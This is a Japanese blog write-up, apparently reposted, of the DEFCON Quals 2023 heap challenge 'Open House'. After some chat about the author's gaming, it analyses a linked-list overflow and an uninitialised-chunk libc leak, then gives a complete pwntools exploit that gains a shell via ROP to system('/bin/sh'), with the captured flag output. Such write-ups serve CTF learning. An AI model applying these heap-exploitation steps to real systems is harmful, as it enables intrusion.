DEFCON Quals 2023にソロで参加しました。決勝戦なんてのは遠い遠い話ですが、
また今年もベガスまでDEFCONを観客として見に行くかもしれません。
実はこの半年間、消息を絶っていたのですが、
ずーっと懐かしのメイプルストーリーをやっていて、全くCTFをやっていませんでした。
そのせいで、CTFの事が何もわからなくなりました。これから少しずつリハビリしていこうと思います。
メイプルはレベル250を達成したのでメイプルストーリーは引退しました。
してないです。ゆかり鯖でやってるし、ピンクビーンイベントやってます。
いっそこのブログも、メイプルストーリーのブログに変えてやろうかと思いました。
ネットゲームは時間が無限に溶けるし、ほかのモノに対する興味が無くなるので良くないね。誰か助けてください。
さて、DEFCONの話ですがpwn とかジャンルで分かれてないので、結局pwnがどれだかわかりませんでした。
とりあえず簡単な1問(Open House)を開催中に解きました。
Open House (68 solve)
とってもシンプルなヒープ問題。多分色々な解き方があるはず。
(base) ubuntu@ubuntu-virtual-machine:~/ctf/defcon$ ./open-house Welcome! Step right in and discover our hidden gem! You'll *love* the pool. c|v|q> c Absolutely, we'd love to have your review! AAAAAAAA Thanks! c|v|m|d|q> d Which of these reviews should we delete
よくあるヒープメモ問題。
c: メモの作成
v: メモの閲覧
m: メモの変更
d: メモの削除
q: 終了
が操作可能。
(base) ubuntu@ubuntu-virtual-machine:~/ctf/defcon$ file open-house open-house: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0dff6b6b6435d3c61f0159923f1758e8c9e6a1a8, for GNU/Linux 3.2.0, stripped
ところで、なぜか32bitである。ブルートフォースしてほしいのか?意味ありげに感じてしまう。
なお、下記の通りPIE有効。
pwndbg> checksec RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 3 /home/ubuntu/ctf/defcon/open-house
さて、メモの管理がどうされているか見ながら、脆弱性を見つけていく。
メモが作成されたとき、
c|v|q> c Absolutely, we'd love to have your review! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Thanks!
下記の通り、ヒープ領域が作成されて、文字列が格納される。
0x5655aa40: 0x00000000 0x00000000 0x00000000 0x00000211 0x5655aa50: 0x41414141 0x41414141 0x41414141 0x41414141 0x5655aa60: 0x41414141 0x41414141 0x41414141 0x41414141 0x5655aa70: 0x41414141 0x41414141 0x0000000a 0x00000000 … 0x5655ac30: 0x00000000 0x00000000 0x00000000 0x00000000 0x5655ac40: 0x00000000 0x00000000 0x00000000 0x00000000 0x5655ac50: 0x00000000 0x5655a430 0x00000000 0x000203a9
0x000203a9はTOPチャンクのサイズだから無視して、0x5655ac54にある0x5655a430が重要。
これは、一個前のメモへのポインタである。
見てわかる通り、このプログラムは、メモを双方向のリンクリストで保持していて、チャンクの最後のほう
具体的にはAddr + 0x204とAddr + 0x208のところに、前後のメモへのポインタが入っている。
メモの作成(cコマンド)の時は0x200バイトしか文字列を書き込めないが、メモの変更(mコマンド)の時は
0x210バイト文字列を書き込むことができる。したがって、リンクリストを任意の方向につなげることができるという、露骨な脆弱性がある。
メモを任意の場所につなげることができるとAARもAAWもできてしまう。
何故かというと、メモの変更(m)コマンドでは、指定した番号のメモの内容を吐き出すからである。
具体的には、index = 1のメモのAddr + 0x204に任意のアドレス p を入れるとする。
そうすると、mでindex = 2のメモを変更しようとすると、*pの値を吐き出してしまう。
しかもそのうえ、上書きすることができる。脆すぎる。(下記、脆弱性1と呼ぶ)
c|v|m|d|q> m Which of these reviews should we replace? 2 Replacing this one: AAAAAAAAAAAAAAAAAAAAAAAAAAAA ← これが*pになる
これは極めて強力な脆弱性だが、存在するのはこの脆弱性だけではない。
二つ目の脆弱性は、malloc後の未初期化によるものである。
pwndbg> bins tcachebins 0x110 [ 7]: 0x56559e00 —▸ 0x56559bf0 —▸ 0x565599e0 —▸ 0x565597d0 —▸ 0x565595c0 —▸ 0x565593b0 —▸ 0x565591a0 ◂— 0x0 fastbins 0x10: 0x0 0x18: 0x0 0x20: 0x0 0x28: 0x0 0x30: 0x0 0x38: 0x0 0x40: 0x0 unsortedbin all: 0x5655a008 —▸ 0xf7e2a7f8 (main_arena+56) ◂— 0x5655a008
メモをいくつか削除すると上記のようになる。
上記はunsortedbinが0x631サイズある。
これに対して、メモを再び8回内容は””で作る。
そうすると、8回目で取得されるメモは、unsortedbinから取得されるが、
unsortedbinの持っているfd と bkが初期化されてない。
入力文字列にnull終端とかがあれば発生しないが、null終端はないのでリーク出来てしまう。
なので、mallocでunsortedに入っていた領域を再取得すれば、main_arenaの領域、つまりlibcのアドレスを取得できる。
0x5655a008 0x00000000 0x00000211 ........ 0x5655a010 0xf7e2aa0a 0xf7e2aa38 ....8... 0x5655a018 0x5655a008 0x5655a008 ..UV..UV 0x5655a020 0x63207470 0x69646e6f pt condi 0x5655a028 0x6e6f6974 0x6874202c tion, th
この領域を、メモの表示コマンドで表示できる。
ところで、なんでunsortedbinに入っていたはずなのに、fd_nextsize と bk_nextsizeが埋まってるんだろう?
heapがわかるのはうれしいけど、なんでだ…
これでlibc leakとheap base leakが可能となった。脆弱性2と呼ぶ。
ということで、方針としては、まず脆弱性2を使って、libcとheapをリークする。
次に脆弱性1を使ってAARで、libcのenvironからstackのアドレスを取得し、
脆弱性1を再度使って、stack内でROPしてsystem(“/bin/sh“)を呼べばいいだけ。
まぁ一見簡単そうだけど、悩ましい障壁が一つあった。それは、libcのバージョンがわからないこと。
libcのバージョンがわからないと、libc_baseをあてることができない。
とりあえず、上記の方法で計算される値からmain_arenaのアドレスがわかる。
上記の方法でリークできるのはmain_arena内のアドレスで、それは比較的最近ならばlibcのバージョンによらず一定のはず。
それでlibc databaseを使えば 2.37っぽいことまではわかった。
libc.rip
ただし、その情報だけでは、どうしてもlibc baseアドレスがずれていた。2.37のどのバージョンなのか?までは上記のサイトではわからなかった。
というか、上記のサイトで出てきたやつだと、なぜかbase addressが0x3000ずれていた。
このベースアドレスのずれを見つけるためには、手作業でぐちゃぐちゃやって何とかアタリを付けなければならず、この作業が一番大変だった。
結果、main_arenaのlibc baseからのoffsetがわかった後は、libc databaseを使って2.37のlibcを落として、symbolの確認をおこなった。
github.com
その結果、main_arenaとかがぴったり一致したのは下記のバージョンだった。
libc6-i386_2.37-0ubuntu2_amd64.so
なのでこのバージョンを使ってexploitを書いたらflagが取れた。
で解きなおそうとしてけどサーバが死んでいた。
import logging from pwn import * context.arch="i386" option = "local" if option == "local": elf=ELF("/home/ubuntu/ctf/defcon/open-house") libc=ELF("/lib/i386-linux-gnu/libc.so.6") p=process("/home/ubuntu/ctf/defcon/open-house" , aslr=True) #gdb.attach(p) else: libc=ELF("/home/ubuntu/ctf/defcon/libc6-i386_2.37-0ubuntu2_amd64.so") p = remote("open-house-6dvpeatmylgze.shellweplayaga.me", 10001) p.sendlineafter("Ticket please: ", "ticket{自分のチケット番号を入れようね}") def create(message): p.sendlineafter(">","c") print(p.recvline()) p.sendline(message) return def delete(index): p.sendlineafter(">","d") print(p.recvline()) p.sendline(str(index)) return def replace(index, message): p.sendlineafter(">","m") print(p.recvline()) p.sendline(str(index)) p.sendlineafter("replace it with?", message) return create(cyclic(0x208)) for i in range(11): delete(1) create("") create("") create("") create("") create("") create("") create("") create("") p.sendlineafter(">","v") for i in range(16): p.recvline() p.recv(3) if option == "local": libc_base = u32(p.recv(4)) - 0x22AA38 else: libc_base = u32(p.recv(4)) - 0x225A38 heap_base = u32(p.recv(4)) - 0x1008 log.info("libc base is " + hex(libc_base)) log.info("heap base is " + hex(heap_base)) print(hexdump(p.recvline())) for i in range(11): delete(1) for i in range(11): create("") if option == "local": replace(3, cyclic(0x200) + p32(libc_base + libc.symbols["environ"])) else: replace(3, cyclic(0x200) + p32(libc_base + libc.symbols["environ"])) p.sendlineafter(">", "m") print(p.recvline()) p.sendline(str(4)) p.recv(20) stack_base = u32(p.recv(4)) log.info("stack_address is " + hex(stack_base)) p.sendline(p32(stack_base)) replace(3, p32(0) * 0x80 + p32(stack_base-0x200)) p.sendlineafter(">", "m") print(p.recvline()) p.sendline(str(4)) system = libc_base + libc.symbols["system"] binsh = libc_base + next(libc.search(b"/bin/sh")) p.sendline(p32(0) * 0x40 + p32(system) + p32(0) + p32(binsh)+ p32(0)) p.interactive()
これでSHELLが取れたよ
What do you think we should we replace it with? ls challenge flag.txt run_challenge.sh cat flag.txt flag{DeveloperTax47n23:SBp6IAciEkQu5HXDfzG_0DcZZO5e5Wv2KKus4D9mrhCLPpWNUgk1U1lrIHRNCdiQ5f3eX9BwQL9-Qerdbkj9qA}[*] Interrupted [*] Closed connection to open-house-6dvpeatmylgze.shellweplayaga.me port 10001
原文始发于ec76237290:DEFCON Quals 2023 WriteupとCTFのリハビリ